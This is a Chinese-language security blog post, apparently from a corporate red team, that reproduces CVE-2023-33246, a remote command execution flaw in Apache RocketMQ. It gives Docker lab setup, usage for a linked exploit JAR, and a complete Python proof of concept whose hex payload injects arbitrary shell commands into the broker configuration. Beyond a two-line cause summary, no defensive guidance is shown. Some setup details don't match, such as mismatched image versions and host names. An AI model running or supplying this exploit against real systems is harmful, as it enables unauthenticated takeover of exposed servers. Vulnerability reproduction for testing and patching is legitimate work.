“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
前言
RocketMQ的部署模型如下图所示:
Producer、Consumer、NameServer、 Broker
https://rocketmq.apache.org/zh/docs/4.x/
漏洞描述
漏洞成因:
1.提供无加密与鉴权的不安全服务;
2.对于用户输入的检查与过滤不足。
环境搭建:
docker拉取镜像
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
# 启动 nameserver NameServer启动后监听端口,等待Broker、Producer、Consumer连接,相当于一个路由控制中心。
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# 启动 Broker。与所有 NameServer 保持长连接,定时发送心跳包。心跳包中包含当前 Broker 信息以及存储所有 Topic 信息。注册成功后,NameServer 集群中就有 Topic跟Broker 的映射关系。
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
#启动console。
docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
PS: 注意broker、console启动时会指定关联namesrv的地址
启动完成后如图所示:
访问http://ip:8080,为如下控制台界面
EXP:
https://github.com/SuperZero/CVE-2023-33246/blob/main/CVE-2023-33246.jar
使用方式:
java -jar CVE-2023-33246.jar -ip "被攻击host" -cmd "执行的命令"
成功访问,证明命令执行成功,漏洞存在。
还有由Malayke师傅使用python写的POC,大家可以尝试使用验证
# CVE-2023-33246 RocketMQ POC
import socket
import sys
if len(sys.argv) < 4:
print('Usage: python3 poc.py <ip> <port> <command>')
sys.exit(1)
def send_data(ip, port, payload):
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the server at the specified IP and port
s.connect((ip, port))
# Send the payload
s.sendall(payload)
resp = s.recv(1024)
print(resp)
# Close the socket
s.close()
if '__main__' == __name__:
ip = sys.argv[1]
port = int(sys.argv[2])
command = ' '.join(sys.argv[3:]).strip()
hex_payload_prefix = '000000cd000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f20'
hex_payload_suffix = '3b0a'
payload = bytes.fromhex(hex_payload_prefix) + command.encode() + bytes.fromhex(hex_payload_suffix)
hex_payload_length = hex(len(payload) - 4)[2:]
payload = payload.hex().replace('000000cd000000','000000' + hex_payload_length + '000000')
payload = bytes.fromhex(payload)
send_data(ip, port, payload)
https://rocketmq.apache.org/download/
07
—
参考链接
1.https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT
2.https://github.com/SuperZero/CVE-2023-33246
3.https://blog.csdn.net/jdhellfire/article/details/131009358
4.https://rocketmq.apache.org/zh/docs/4.x/